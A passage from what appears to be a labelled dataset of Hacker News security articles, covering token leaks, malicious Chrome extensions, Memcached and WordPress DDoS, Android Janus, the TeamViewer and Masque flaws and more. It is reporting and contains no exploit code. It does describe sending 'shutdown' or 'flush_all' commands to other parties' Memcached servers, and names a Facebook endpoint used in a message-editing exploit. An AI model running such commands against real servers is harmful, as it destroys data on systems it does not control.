In June 2012, a hacking group called 'LulzsecReborn' associated with Anonymous Hackers, hacked into TweetGif website, which allows you to use animated GIF image as your twitter picture.

In that hack, attackers were able to access 10,000 Twitter users OAuth access tokens and they choose to leak the information on the Internet, including usernames, TweetGif account passwords, Real names, locations, Bios, Avatars and Secret tokens also on the Internet.

To avoid such issues, pay attention to the permissions that each app is taken from your account. If it does something you don't want it to do, just don't use that app.

There is no good or even half good way to protect keys that untrusted users can access. The minimum amount of effort won't be effective. Even the maximum amount of effort won't be effective against a skilled hacker with just a few hours of spare time.

It is a genuine problem with no effective solution. Not in Java, not in C#, not in Perl, not in C, not in anything. Think of it as if it was a Law of Physics. Your alternatives are:
Always use trusted applications and grant limited required permissions.
Turn your application into a service and run it on a machine that you control access to.
Use some authentication mechanism that doesn't require permanent secret keys to be distributed.
Always, be sure to regularly review your authorized apps so you don't run into trouble if you haven't used one of them in a while, you're probably better off getting rid of it completely.

All you need to do is go to your Twitter settings and revoke access to that app. That way, your tokens become useless and your account is under your control again, without even having to change your password.
Swati Khandelwal - Working with 'The Hacker News'. Social Media Lover and Gadget Girl. Speaker, Cyber Security Expert and Technical Writer. (Google+ Profile)

",Vulnerability
Researcher finds a way to Delete and Modify Facebook Messages Sent to Other Users,https://thehackernews.com/2016/06/delete-facebook.html,"Sometimes I receive emails from our readers who wanted to know how to hack Facebook account, but just to delete some of their messages they have sent to their friends or colleagues mistakenly or under wrong circumstances like aggression.

How to hack a Facebook account? It is probably the biggest ""n00b"" question you will see on the Internet.

The solution for this query is hard to find — but recently researchers have shown that how you can modify or alter your messages once you have pressed the SEND button in Facebook Messenger.

According to the researcher Roman Zaikin from cyber security firm Check Point, a simple HTML tweak can be used to exploit Facebook online chat as well as its Messenger app, potentially allowing anyone to modify or delete any of his/her sent message, photo, file, and link.

Though the bug is simple, it could be exploited by malicious users to send a legitimate link in a Facebook chat or group chat, and later change it to a malicious link that could lead to a malware installation, tricking victims into infecting their systems.

Here's How the Exploit Works:

The exploit works on the way Facebook assigns identities to chat messages. Each chat message has a unique ""message_id"" identifier that could be revealed by sending a request to www.facebook.com/ajax/mercury/thread_info.php.

Once message_id is identified, an attacker could alter its respective message content and send it back to Facebook servers which accept the new content as legitimate and push it back to the victim's PC or mobile device.

Video Demonstration:

""By exploiting this vulnerability, cyber criminals could change a whole chat thread without the victim realizing,"" said Oded Vanunu, Head of Products Vulnerability Research at Check Point.

""What's worse. The hacker could implement automation techniques to continually outsmart security measures for long-term chat alterations. We applaud Facebook for such a rapid response and putting security first for their users.""

Researchers discovered the vulnerability earlier this month and notified Facebook about the flaw.

The social networking giant promptly moved to fix the vulnerability, though Facebook explained that the flaw only affected its Messenger app on Android.

""Based on our investigation, this simple misconfiguration in the Messenger app on Android turned out to be a low-risk issue, and it's already been fixed,"" Facebook wrote in its blog post published Tuesday.

Additionally, Facebook claims the vulnerability could not be exploited to infect its users' PCs with malicious software, as the company is using anti-spam and anti-virus filters to detect malware and spams.

",Vulnerability
Over 100 New Chrome Browser Extensions Caught Spying On Users,https://thehackernews.com/2020/06/chrome-browser-extensions-spying.html,"Google recently removed 106 more extensions from its Chrome Web Store after they were found illegally collecting sensitive user data as part of a ""massive global surveillance campaign"" targeting oil and gas, finance, and healthcare sectors.

Awake Security, which disclosed the findings late last week, said the malicious browser add-ons were tied back to a single internet domain registrar, GalComm.

However, it's not immediately clear who is behind the spyware effort.

""This campaign and the Chrome extensions involved performed operations such as taking screenshots of the victim device, loading malware, reading the clipboard, and actively harvesting tokens and user input,"" Awake Security said.

The extensions in question posed as utilities offering capabilities to convert files from one format to the other, among other tools for secure browsing, while relying on thousands of fake reviews to trick unsuspecting users into installing them.

Furthermore, the actors behind the operation leveraged evasion techniques to avoid flagging the domains as malicious by anti-malware solutions, thereby allowing the surveillance campaign to go undetected.

In total, the extensions were downloaded nearly 33 million times over the course of three months before Awake Security reached out to Google in May.


The search giant, in response to the disclosures, has deactivated the problematic browser extensions. The full list of offending extension IDs can be accessed here.

Telemetry data has revealed that some of these extensions were active on the networks of ""financial services, oil and gas, media and entertainment, healthcare and pharmaceuticals, retail, high-tech, higher education, and government organizations,"" although there's no evidence that they were actually used to collect sensitive data.

""Galcomm is not involved, and not in complicity with any malicious activity whatsoever,"" the Israel-based registrar's owner Moshe Fogel told Reuters, which broke the development.

Deceptive extensions on the Chrome Web Store have continued to be a problem, what with bad actors exploiting it for malvertising and other data-stealing campaigns.

Earlier this February, Google removed 500 malware-ridden extensions after they were caught serving adware and sending users' browsing activity to attacker-controlled servers. Then in April, the company yanked another set of 49 extensions that masqueraded as cryptocurrency wallets to steal Keystore information.

It's recommended that users review extension permissions by visiting ""chrome://extensions"" on the Chrome browser, consider uninstalling those that are rarely used, or switch to other software alternatives that don't require invasive access to browser activity.

",Malware
Microsoft to Patch Critical Internet Explorer Zero-Day Vulnerability Next Tuesday,https://thehackernews.com/2014/06/microsoft-to-patch-critical-internet.html,"Today Microsoft has released its Advance Notification for the month of June 2014 Patch Tuesday releasing seven security Bulletins, which will address several vulnerabilities in its products, out of which two are marked critical and rest are important in severity.

This Tuesday, Microsoft will issue Security Updates to address seven major vulnerabilities and all those are important for you to patch, as the flaws are affecting various Microsoft software, including Microsoft Word, Microsoft Office and Internet Explorer.

CRITICAL VULNERABILITY THAT YOU MUST PATCH
Bulletin one is considered to be the most critical one, which will address a the zero-day Remote Code Execution vulnerability, affecting all versions of Internet Explorer, including IE11 in Windows 8.1.

All server versions of Windows are affected by this vulnerability, but at low level of severity because by default, Internet Explorer runs in Enhanced Security Configuration and just because Server Core versions of Windows Server do not include Internet Explorer, so are not affected.

The vulnerability allows a remote attacker to execute arbitrary code using JavaScript, but so far, the zero-day flaw is not known to have been used in any attacks, according to Microsoft. ""The Update for Internet Explorer addresses CVE-2014-1770, which we have not seen used in any active attacks.""

Microsoft kept hidden this critical Internet explorer Zero-Day vulnerability from all of us since October 2013, but last month the team at 'Zero Day Initiative' disclosed the vulnerability publically when Microsoft failed to respond and patch this flaw within 180 days after receiving the details from security researcher.

The second Bulletin addresses one or more flaws in both Windows and Office products. It is also a Remote Code Execution vulnerability and rated 'Critical' on all versions of Windows including Server Core; Microsoft Live Meeting 2007 Console and all versions of Microsoft Lync, excluding the Lync Server. The flaw is also rated 'Important' for Office 2007 and Office 2010.

These critical security updates are really important for users to patch and both the patches will require a restart after the installation of the new versions.

OTHER IMPORTANT PATCHES TO INSTALL
Remaining five bulletins will address one or more remote code execution vulnerabilities in Office, an information disclosure bugs in Windows, information disclosure bugs in Lync Server, a Denial of Service (DoS) bug in all Windows versions since Vista, and a ""tampering"" vulnerability in Windows including Windows 7, 8.x and Server 2012.

NOT FOR XP THIS TIME
Microsoft will not release any security update for its older version of Windows XP, like last month it provided an 'out-of-band security update' for Windows XP machines affected by the zero-day vulnerability.

Microsoft stopped supporting Windows XP Operating System. So, if you are still running this older version of operating system on your PCs, we again advise you to move on to other operating system in order to receive updates and secure yourself from upcoming threats.

",Vulnerability
Critical Flaws Reported in Sage X3 Enterprise Management Software,https://thehackernews.com/2021/07/critical-flaws-reported-in-sage-x3.html,"Four security vulnerabilities have been uncovered in the Sage X3 enterprise resource planning (ERP) product, two of which could be chained together as part of an attack sequence to enable adversaries to execute malicious commands and take control of vulnerable systems.
These issues were discovered by researchers from Rapid7, who notified Sage Group of their findings on Feb. 3, 2021. The vendor has since rolled out fixes in recent releases for Sage X3 Version 9 (Syracuse 9.22.7.2), Sage X3 HR & Payroll Version 9 (Syracuse 9.24.1.3), Sage X3 Version 11 (Syracuse 11.25.2.6), and Sage X3 Version 12 (Syracuse 12.10.2.8) that were shipped in March.
The list of vulnerabilities is as follows -
CVE-2020-7388 (CVSS score: 10.0) - Sage X3 Unauthenticated Remote Command Execution (RCE) as SYSTEM in AdxDSrv.exe component
CVE-2020-7389 (CVSS score"" 5.5) - System ""CHAINE"" Variable Script Command Injection (No fix planned)
CVE-2020-7387 (CVSS score: 5.3) - Sage X3 Installation Pathname Disclosure
CVE-2020-7390 (CVSS score: 4.6) - Stored XSS Vulnerability on 'Edit' Page of User Profile
""When combining CVE-2020-7387 and CVE-2020-7388, an attacker can first learn the installation path of the affected software, then use that information to pass commands to the host system to be run in the SYSTEM context,"" the researchers said. ""This can allow an attacker to run arbitrary operating system commands to create Administrator level users, install malicious software, and otherwise take complete control of the system for any purpose.""
The most severe of the issues is CVE-2020-7388, which takes advantage of an administrative service that's accessible over the internet to craft malicious requests with the goal of running arbitrary commands on the server as the ""NT AUTHORITY/SYSTEM"" user. The service in question is used for remote management of the Sage ERP solution through the Sage X3 Console.
Separately, the 'Edit' page associated with user profiles in the Sage X3 Syracuse web server component is vulnerable to a stored XSS attack (CVE-2020-7390), enabling the execution of arbitrary JavaScript code during 'mouseOver' events in the 'First name', 'Last name', and 'Email' fields.
""If successful, however, this vulnerability could allow a regular user of Sage X3 to execute privileged functions as a currently logged-in administrator or capture administrator session cookies for later impersonation as a currently-logged-in administrator,"" the researchers said.
Successful exploitation of CVE-2020-7387, on the other hand, results in the exposure of Sage X3 installation paths to an unauthorized user, while CVE-2020-7389 concerns a missing authentication in Syracuse development environments that could be used to gain code execution via command injection.
""Generally speaking, Sage X3 installations should not be exposed directly to the internet, and should instead be made available via a secure VPN connection where required,"" the researchers noted in the disclosure. ""Following this operational advice effectively mitigates all four vulnerabilities, though customers are still urged to update according to their usual patch cycle schedules.""

",Vulnerability
New TeamViewer Hack Could Allow Clients to Hijack Viewers' Computer,https://thehackernews.com/2017/12/teamviewer-hacking-tool.html,"Do you have remote support software TeamViewer installed on your desktop?

If yes, then you should pay attention to a critical vulnerability discovered in the software that could allow users sharing a desktop session to gain complete control of the other's PC without permission.

TeamViewer is a popular remote-support software that lets you securely share your desktop or take full control of other's PC over the Internet from anywhere in the world.

For a remote session to work both computers—the client (presenter) and the server (viewer)—must have the software installed, and the client has to share a secret authentication code with the person he wants to share his desktop.

However, a GitHub user named ""Gellin"" has disclosed a vulnerability in TeamViewer that could allow the client (sharing its desktop session) to gain control of the viewer's computer without permission.

TeamViewer Hack Could Be Used By Anyone—Server Or Client

Gellin has also published a proof-of-concept (PoC) code, which is an injectable C++ DLL, which leverages ""naked inline hooking and direct memory modification to change TeamViewer permissions.""

The injectable C++ DLL (hack) can be used by both, the client and the server, which results as mentioned below:

If exploited by the Server—the hack allows viewers to enable ""switch sides"" feature, which is only active after the server authenticated control with the client, eventually allowing the server to initiate a change of control/sides.

If exploited by the Client—the hack allows the client to take control of the mouse and keyboard of the server ""with disregard to servers current control settings and permissions.""

This vulnerability impacts TeamViewer versions running on Windows, macOS as well as Linux machines.

A Reddit user ""xpl0yt,"" who first publicized this vulnerability, claimed to have been in contact with the TeamViewer security team, who confirmed him the existence of the vulnerability in its software and released a patch for Windows.
A TeamViewer spokesperson told The Hacker News, ""We are patching versions 11-13. Windows is already available, whereas MacOS and Linux are expected later today.""
TeamViewer users are recommended to install the patched versions of the software as soon as they become available. Patches will be delivered automatically to those users who have configured their TeamViewer software to receive automatic updates.

",Vulnerability
Here's the NSA Employee Who Kept Top Secret Documents at Home,https://thehackernews.com/2017/12/nghia-hoang-pho-nsa.html,"A former employee—who worked for an elite hacking group operated by the U.S. National Security Agency—pleaded guilty on Friday to illegally taking classified documents home, which were later stolen by Russian hackers.

In a press release published Friday, the US Justice Department announced that Nghia Hoang Pho, a 67-year-old of Ellicott City, Maryland, took documents that contained top-secret national information from the agency between 2010 and 2015.

Pho, who worked as a developer for the Tailored Access Operations (TAO) hacking group at the NSA, reportedly moved the stolen classified documents and tools to his personal Windows computer at home, which was running Kaspersky Lab software.

According to authorities, the Kaspersky Labs' antivirus software was allegedly used, one way or another, by Russian hackers to steal top-secret NSA documents and hacking exploits from Pho's home PC in 2015.
""Beginning in 2010 and continuing through March 2015, Pho removed and retained U.S. government documents and writings that contained national defense information, including information classified as Top Secret and Sensitive Compartmented Information,"" the DoJ said in disclosing Pho's guilty plea.
""This material was in both hard-copy and digital form, and was retained in Pho's residence in Maryland.""
For those unaware, the U.S. Department of Homeland Security (DHS) has even banned Kaspersky Labs' antivirus software from all of its government computers over suspicion of the company's involvement with the Russian intelligence agency and spying fears.

Kaspersky CEO Says He Would Leave If Russia Asked Him To Spy

Though there's no substantial evidence yet available, an article published by US news agency WSJ in October claimed that Kaspersky software helped Russian spies steal highly classified documents and hacking tools belonging to the NSA in 2015 from a staffer's home PC.

However, Kaspersky Labs has denied any direct involvement with the Russian spies in the alleged incident.

Just last month, Kaspersky claimed that its antivirus package running on the Pho's home PC detected the copies of the NSA exploits as malicious software, and uploaded them to its cloud for further analysis by its team of researchers.

According to the company, as soon as its analysts realized that its antivirus had collected more than malicious binaries, the company immediately deleted the copy of the classified documents, and also created a special software tweak, preventing those files from being downloaded again.

Even, when asked if Russian intel agency had ever asked him to help it spy on the West at a media briefing at the Kaspersky's offices in London on Tuesday, CEO Eugene Kaspersky said ""They have never asked us to spy on people. Never.""

Kaspersky further added that ""If the Russian government comes to me and asks me to anything wrong, or my employees, I will move the business out of Russia.""

NSA Hacker Faces A Prison Sentence Of Up To 10 Years

In Pho's plea deal with prosecutors, the NSA hacker admitted that he copied information from NSA computers multiple times between 2010 and 2015 and took it all home with him.

Taking classified documents at home is a clear violation of known security procedures—and in this process, Pho eventually exposed the top secret information to Russian spies.

Pho has pleaded guilty in a United States district court in Baltimore to one count of willful removal and retention of national defense information, with no other charges filed against him and there's no mention of Pho selling or passing off that confidential data.

The retention of national defense information offense carries a possible 10-year prison sentence.

Federal prosecutors said they would seek an eight-year sentence for Mr. Pho. However, his attorney can ask for a more lenient sentence.

Pho remains free while awaiting sentencing on 6th April next year.

",Data_Breaches
'Kill Switch' to Mitigate Memcached DDoS Attacks — Flush 'Em All,https://thehackernews.com/2018/03/prevent-memcached-ddos.html,"Security researchers have discovered a ""kill switch"" that could help companies protect their websites under massive DDoS attack launched using vulnerable Memcached servers.

Massive Memcached reflection DDoS attacks with an unprecedented amplification factor of 50,000 recently resulted in some of the largest DDoS attacks in history.

To make matter even worse, someone released proof-of-concept (PoC) exploit code for Memcached amplification attack yesterday, making it easier for even script kiddies to launch massive cyber attacks.

Despite multiple warnings, more than 12,000 vulnerable Memcached servers with UDP support enabled are still accessible on the Internet, which could fuel more cyber attacks soon.

However, the good news is that researchers from Corero Network Security found a technique using which DDoS victims can send back a simple command, i.e., ""shutdown\r\n"", or ""flush_all\r\n"", in a loop to the attacking Memcached servers in order to prevent amplification.

Where, the flush_all command simply flush the content (all keys and their values) stored in the cache, without restarting the Memcached server.

The company said its kill-switch has efficiently been tested on live attacking Memcached servers and found to be 100% effective, and has already been disclosed to national security agencies.

Based on this finding, security researcher Amir Khashayar Mohammadi—who focuses on malware analysis, cryptanalysis, web exploitation, and other cyber attack vectors—has created and released a simple DDoS mitigation tool, dubbed Memfixed, that sends flush or shutdown commands to the vulnerable Memcached servers.

Written in Python, Memfixed automatically obtains a list of vulnerable Memcached servers using Shodan API to trigger shutdown/flush commands.

Stealing Sensitive Data From Memcached Servers

What's more? Corero Researchers also claimed that the Memcached vulnerability (CVE-2018-1000115) is more extensive than initially reported, and can be exploited beyond leveraging it for a DDoS attack.

Without revealing any technical detail, the company said the Memcached vulnerability could also be exploited by remote attackers to steal or modify data from the vulnerable Memcached servers by issuing a simple debug command.

Dynamic database-driven websites use a Memcached application to improve their performance by caching data and objects in the RAM.

Since Memcached has been designed to be used without logins or passwords, attackers can remotely steal sensitive user data it has cached from its local network or host without requiring any authentication.

The data may include confidential database records, emails, website customer information, API data, Hadoop information and more.
""By using a simple debug command, hackers can reveal the 'keys' to your data and retrieve the owner's data from the other side of the world,"" the company said. ""Additionally, it is also possible to maliciously modify the data and re-insert it into the cache without the knowledge of the Memcached owner.""
Server administrators are strongly advised to install the latest Memcached 1.5.6 version which disables UDP protocol by default to prevent amplification/reflection DDoS attacks.

",Vulnerability
Millions of WordPress sites exploitable for DDoS Attacks using Pingback mechanism,https://thehackernews.com/2013/05/millions-of-wordpress-sites-exploitable.html,"Distributed Denial of Service attacks have increased in scale, intensity and frequency. The wide range of motives for these attacks political , criminal, or social makes every merchant or organization with an online presence a potential target.

Over the weekend Incapsula mitigated a unique DDoS attack against a large gaming website, in which they have discovered a DDoS attack using thousands of legitimate WordPress blogs without the need for them to be compromised.

Incapsula released the list of approximately 2,500 WordPress sites from where the attack was originated, including some very large sites like Trendmicro.com, Gizmodo.it and Zendesk.com.

In a recent report, we posted about another method for DDoS attacks using DNS amplification, where a DNS request is made to an open DNS resolver with the source IP address forged so that it is the IP address of the targeted site to which the response is thus sent, but this new method uses HTTP rather than DNS.

The attack makes uses of a feature in the WordPress blogging platform called 'pingback', which allows the author of one blog to send a 'ping' to a post on another blog to notify the latter that it has been referenced. It turns out that most WordPress sites are susceptible to this abuse. Since this feature is enabled by default, and there is no protection mechanism within WordPress against it.

The Pingback mechanism has been known to be a security risk for some time. Late last year a similar vulnerability was discovered that could turn third party blogs into a powerful port-scanning engine. The vulnerability (CVE-2013-0235) was fixed in in Wordpress 3.5.1, by applying some filtering on allowed URLs.

However, in this case the requests do not appear to be amplified, which means the attackers would have to be able to control a large botnet in order for such attacks to be successful. Incapsula also added that all website using Incapsula are protected from such abuse.

",Vulnerability
Fake Lookout android app stealing your SMS and MMS messages,https://thehackernews.com/2012/10/fake-lookout-android-app-stealing-your.html,"Android's App store is currently facing a new dilemma as its security has been compromised once again. Researchers from security firm TrustGo have recently spotted on Google Play a bogus app that supposedly automatizes the updating of a batch of other apps.
The malicious code was hidden within an app named, ""Updates"" by developer Good Byte Labs (Package name: com.updateszxt) and was designed to look like an update to the Lookout™ mobile security application.

The malware detected as Trojan!FakeLookout.A is capable of stealing SMS and MMS messages and upload them to a remote server via FTP. This virus has the potential to steal all personal business sensitive data from the users' device.

Though there are no reports of being infected by the users, it is believed that the infected users are not aware of it yet. ""New approach being attempted by malware makers,"" TrustGo said the site in question ""contains a Trojan file that targets multiple platforms including Windows, Mac, and Unix/Linux operating systems.""

After the researchers notified Google, the app has been removed from Google Play. The only protection as of now is to go for good Anti-virus software. If it doesn't help you, a factory reset of the device is advised. Be aware to have your data backup before the reset.

",Malware
Millions of Vulnerable Routers aiding Massive DNS Amplification DDoS Attacks,https://thehackernews.com/2014/04/millions-of-vulnerable-routers-aiding_3.html,"The Distributed Denial of Service (DDoS) attack is becoming more sophisticated and complex with the increase in the skills of attackers and so, has become one of favorite weapon for the cyber criminals to temporarily suspend or crash the services of a host connected to the Internet and till now nearly every big site had been a victim of this attack.

Since 2013, Hackers have adopted new tactics to boost the sizes of Distributed Denial of Service (DDoS) attack known as 'Amplification Attack', leveraging the weakness in the UDP protocols. One of the commonly used by hacker is (Domain Name System) DNS Reflection Denial of Service (DrDoS).

WHAT IS DrDoS ATTACK?
The DNS Reflection Denial of Service (DrDoS) technique exploits security weaknesses in the Domain Name System (DNS) Internet protocol. Using Internet protocol spoofing, the source address is set to that of the targeted victim, which means all the replies will go to the target and the target of the attack receives replies from all the DNS servers that are used. This type of attack makes it very difficult to identify the malicious sources.

MILLIONS OF HIJACKED-ROUTERS AIDING DrDoS ATTACKS
The new research carried out by DNS providers Nominum, provides ISPs with DNS based analytics and monetization solutions, revealed that the DNS-based DDoS amplification attacks have significantly increased in the recent months and hackers are using home as well as small office routers to amplify the bandwidth.

The report claimed that more than 24 million home routers, majority of which (800,000 routers) located in the UK are vulnerable to various firmware flaws, that allow hackers to gain unauthorised access and modifying DNS (Domain Name Server) settings.

In a previous report, we also disclosed that more than 200,000 Algerian TP-LINK Routers are vulnerable to Hackers, allowing them to hijack DNS requests.

This could be exposing ISPs and their users to participate in the massive Internet DNS-based Distributed Denial of Service (DDoS) attacks unknowingly.

In February alone, more than five million home routers were used to generate DDoS attack traffic, and in January, more than 70% of total DNS traffic on a provider's network was associated with DNS amplification.

The impact on Internet service providers (ISPs) is four times because amplification attacks generates malicious traffic that not only consume bandwidth, but also cause support costs and impact the reputation of the ISPs, Nominum said.

""Existing in-place DDoS defenses do not work against today's amplification attacks, which can be launched by any criminal who wants to achieve maximum damage with minimum effort,"" explained Sanjay Kapoor, CMO and SVP of Strategy, Nominum. ""Even if ISPs employ best practices to protect their networks, they can still become victims, thanks to the inherent vulnerability in open DNS proxies.""

""ISPs today need more effective protections built-in to DNS servers. Modern DNS servers can precisely target attack traffic without impacting any legitimate DNS traffic. ThreatAvert combined with 'best in class' GIX portfolio overcomes gaps in DDoS defenses, enabling ISPs to constantly adapt as attackers change their exploits, and precision policies surgically remove malicious traffic.""

WHY DrDoS?
The main reason of the increase in the popularity of DNS amplification or DrDoS attacks is that it requires little skills and efforts to cause major damage. The high attack bandwidth is made possible only as the attackers are using misconfigured domain-name service (DNS) servers known as open recursive resolvers or open recursors to amplify a much smaller attack into a larger data flood.

""Because vulnerable home routers mask the target of an attack it is difficult for ISPs to determine the ultimate destination and recipient of huge waves of amplified traffic,"" said Nominum.

RISE IN MASSIVE DDoS ATTACKS
The DDoS techniques have massively increased with the attackers becoming more skillful at working around the network security. A Year back, a massive 300Gbps DDoS attack launched against Spamhaus website that almost broke the Internet. Also earlier this year, hackers have succeeded in reaching new heights of the massive DDoS attack targeting content-delivery and anti-DDoS protection firm CloudFlare, reaching more than 400Gbps at its peak of traffic, striking at the company's data servers in Europe.

At the beginning of last month, the US-CERT also issued an alert warning, listed certain UDP protocols identified as potential attack vectors for Amplification Attack, including DNS, NTP, SNMPv2, NetBIOS, SSDP ,CharGEN, QOTD, BitTorrent, Kad, Quake Network and Protocol Steam Protocol.

Users are recommended to change the default username and password of their routers and ensure that you have updated router firmware installed with security patches. You router should be accessible only from the local network or LAN.

",Vulnerability
Android Flaw Lets Hackers Inject Malware Into Apps Without Altering Signatures,https://thehackernews.com/2017/12/android-malware-signature.html,"Millions of Android devices are at serious risk of a newly disclosed critical vulnerability that allows attackers to secretly overwrite legitimate applications installed on your smartphone with their malicious versions.

Dubbed Janus, the vulnerability allows attackers to modify the code of Android apps without affecting their signature verification certificates, eventually allowing them to distribute malicious update for the legitimate apps, which looks and works same as the original apps.

The vulnerability (CVE-2017-13156) was discovered and reported to Google by security researchers from mobile security firm GuardSquare this summer and has been patched by Google, among four dozen vulnerabilities, as part of its December Android Security Bulletin.

However, the worrisome part is that majority of Android users would not receive these patches for next few month, until their device manufacturers (OEMs) release custom updates for them, apparently leaving a large number of smartphone users vulnerable to hackers.

The vulnerability affects apps using APK signature scheme v1 installed on devices running Android versions 5 (Lollipop) and 6 (Marshmallow).

Explained: How Android Janus Vulnerability Works?
The vulnerability resides in the way Android handles APK installation for some apps, leaving a possibility to add extra bytes of code to an APK file without affecting the application's signature.

Before proceeding further, you need to know some basics about an APK file.

A valid APK file is a type of archive file, just like Zip, which includes application code, resources, assets, signatures, certificates, and manifest file.

Earlier versions of Android operating system 5.0 (Lollipop) and 6.0 (Marshmallow) also support a process virtual machine that helps to execute APK archives containing a compiled version of application code and files, compressed with DEX (Dalvik EXecutable) file format.

While installing an Android app or its update, your device checks APK header information to determine if the archive contains code in the compressed DEX files.

If header says APK archive contains DEX files, the process virtual machine decompiles the code accordingly and executes it; otherwise, it runs the code as a regular APK file.

It turns out that an APK archive can contain DEX files as well as regular application code simultaneously, without affecting its validity and signatures.

Researchers find that this ability to add extra bytes of code due to lack of file integrity checking could allow attackers to prepend malicious code compiled in DEX format into an APK archive containing legitimate code with valid signatures, eventually tricking app installation process to execute both code on the targeted device without being detected.

In other words, the hack doesn't require attackers to modify the code of legitimate applications (that makes signatures invalid)—instead, the vulnerability allows malware authors to merely add some extra malicious lines of code to the original app.

Attack Scenarios

After creating malicious but valid versions of legitimate applications, hackers can distribute them using various attack vectors, including spam emails, third-party app stores delivering fake apps and updates, social engineering, and even man-in-the-middle attacks.

According to the researchers, it may be ""relatively easy to trick some users because the application can still look exactly like the original application and has the proper signature.""

I find man-in-the-middle attack more interesting, as it could allow hackers to push malicious installation for the apps designed to receive its updates over an unencrypted HTTP connection.
""When the user downloads an update of an application, the Android runtime compares its signature with the signature of the original version. If the signatures match, the Android runtime proceeds to install the update,"" GuardSquare explains.
""The updated application inherits the permissions of the original application. Attackers can, therefore, use the Janus vulnerability to mislead the update process and get an unverified code with powerful permissions installed on the devices of unsuspecting users.""
""For experts, the common reverse engineering tools do not show the injected code. Users should always be vigilant when downloading applications and updates,"" the security firm added.
Since this vulnerability does not affect Android 7 (Nougat) and latest, which supports APK signature scheme version 2, users running older Android versions are highly recommended to upgrade their device OS (if available).

It's unfortunate, but if your device manufacturer neither offers security patches nor the latest Android version, then you should not install apps and updates from outside of Google Play Store to minimise the risk of being hacked.

Researchers also advised Android developers always to apply signature scheme v2 in order to ensure their apps cannot be tampered with.

",Malware
Malware Encoded Into DNA Hacks the Computer that Reads It,https://thehackernews.com/2017/08/hacking-computer-with-dna.html,"Do you know — 1 Gram of DNA Can Store 1,000,000,000 Terabyte of Data for 1000+ Years?

Even in March this year, a team of researchers successfully stored digital data — an entire operating system, a movie, an Amazon gift card, a study and a computer virus — in the strands of DNA.

But what if someone stores a malicious program into the DNA, just like an infected USB storage, to hijack the computer that reads it.

A team of researchers from the University of Washington in Seattle have demonstrated the first successful DNA-based exploit of a computer system that executes the malicious code written into the synthesised DNA strands while reading it.

To carry out the hack, the researchers created biological malware and encoded it in a short stretch of DNA, which allowed them to gain ""full control"" of a computer that tried to process the genetic data when read by a DNA sequencing machine.

The DNA-based hack becomes possible due to lack of security in multiple DNA processing software available online, which contains insecure function calls and buffer overflow vulnerabilities.
""We analysed the security of 13 commonly used, open source programs. We selected these programs methodically, choosing ones written in C/C++,"" reads the research paper [PDF], titled ""Computer Security, Privacy, and DNA Sequencing: Compromising Computers with Synthesized DNA, Privacy Leaks, and More.""
""We found that existing biological analysis programs have a much higher frequency of insecure C runtime library function calls (e.g., strcpy). This suggests that DNA processing software has not incorporated modern software security best practices.""
To create the biological malware, the researchers translated a simple computer program into a short stretch of 176 DNA letters, denoted as A, G, C, and T, each representing a binary pair (A=00, C=01, G=10, T=11).

The exploit took advantage of a basic buffer overflow attack, in which a software program executes the malicious command because it falls outside maximum length.

The command then contacted a server controlled by the team, from where the researchers took control of a computer in their laboratory they were using to analyse the DNA file.
""Our exploit did not target a program used by biologists in the field; rather it targeted one that we modified to contain a known vulnerability,"" the researchers said.
Although this kind of hack probably doesn't pose any threat anytime soon, the team warned that hackers could in future use fake blood or spit samples to gain access to computers, steal information, or hack medical equipments installed at forensic labs, hospitals and the DNA-based data storage centers.

The researchers will be presenting this first ""DNA-based exploit of a computer system"" at the next week's Usenix Security Symposium in Vancouver. For the more in-depth explanation on the DNA-based hack, you can head on to the research paper.

",Vulnerability
Masque Attack — New iOS Vulnerability Allows Hackers to Replace Apps with Malware,https://thehackernews.com/2014/11/masque-attack-new-ios-vulnerability_10.html,"Android have been a long time target for cyber criminals, but now it seems that they have turned their way towards iOS devices. Apple always says that hacking their devices is too difficult for cyber crooks, but a single app has made it possible for anyone to hack an iPhone.

A security flaw in Apple's mobile iOS operating system has made most iPhones and iPads vulnerable to cyber attacks by hackers seeking access to sensitive data and control of their devices, security researchers warned.

The details about this new vulnerability was published by the Cyber security firm FireEye on its blog on Monday, saying the flaw allows hackers to access devices by fooling users to download and install malicious iOS applications on their iPhone or iPad via tainted text messages, emails and Web links.

MASQUE ATTACK - REPLACING TRUSTED APPS
The malicious iOS apps can then be used to replace the legitimate apps, such as banking or social networking apps, that were installed through Apple's official App Store through a technique that FireEye has dubbed ""Masque Attack.""
""This vulnerability exists because iOS doesn't enforce matching certificates for apps with the same bundle identifier,"" the researchers said on the company's blog. ""An attacker can leverage this vulnerability both through wireless networks and USB.""
Masque attacks can be used by cyber criminals to steal banking and email login credentials or users' other sensitive information.

Security researchers found that the Masque attack works on Apple's mobile operating system including iOS 7.1.1, 7.1.2, 8.0, 8.1, and the 8.1.1 beta version and that all of the iPhones and iPads running iOS 7 or later, regardless of whether or not the device is jailbroken are at risk.

According to FireEye, the vast majority, i.e. 95 percent, of all iOS devices currently in use are potentially vulnerable to the attack.

MASQUE ATTACK IS MORE DANGEROUS THAN WIRELURKER
The Masque Attack technique is the same used by ""WireLurker,"" malware attack discovered last week by security firm Palo Alto Networks targeting Apple users in China, that allowed unapproved apps designed to steal information downloaded from the Internet. But this recently-discovered malware threat is reportedly a ""much bigger threat"" than Wirelurker.
""Masque Attacks can pose much bigger threats than WireLurker,"" the researchers said. ""Masque Attacks can replace authentic apps,such as banking and email apps, using attacker's malware through the Internet. That means the attacker can steal user's banking credentials by replacing an authentic banking app with an malware that has identical UI.""

""Surprisingly, the malware can even access the original app's local data, which wasn't removed when the original app was replaced. These data may contain cached emails, or even login-tokens which the malware can use to log into the user's account directly.""
HOW TO PROTECT YOURSELF FROM MASQUE ATTACK
Apple devices running iOS are long considered more safe from hackers than devices running OS like Microsoft's Windows and Google's Android, but iOS have now become more common targets for cybercriminals.

In order to avoid falling victim to Masque Attack, users can follow some simple steps given below:
Do not download any apps offer to you via email, text messages, or web links.
Don't install apps offered on pop-ups from third-party websites.
If iOS alerts a user about an ""Untrusted App Developer,"" click ""Don't Trust"" on the alert and immediately uninstall the application.
In short, a simple way to safeguard your devices from these kind of threats is to avoid downloading apps from untrusted sources, and only download apps directly from the App Store.

",Vulnerability
Hackers Found Using A New Way to Bypass Microsoft Office 365 Safe Links,https://thehackernews.com/2018/05/microsoft-safelinks-phishing.html,"Security researchers revealed a way around that some hacking groups have been found using in the wild to bypass a security feature of Microsoft Office 365, which is originally designed to protect users from malware and phishing attacks.

Dubbed Safe Links, the feature has been included in Office 365 software as part of Microsoft's Advanced Threat Protection (ATP) solution that works by replacing all URLs in an incoming email with Microsoft-owned secure URLs.

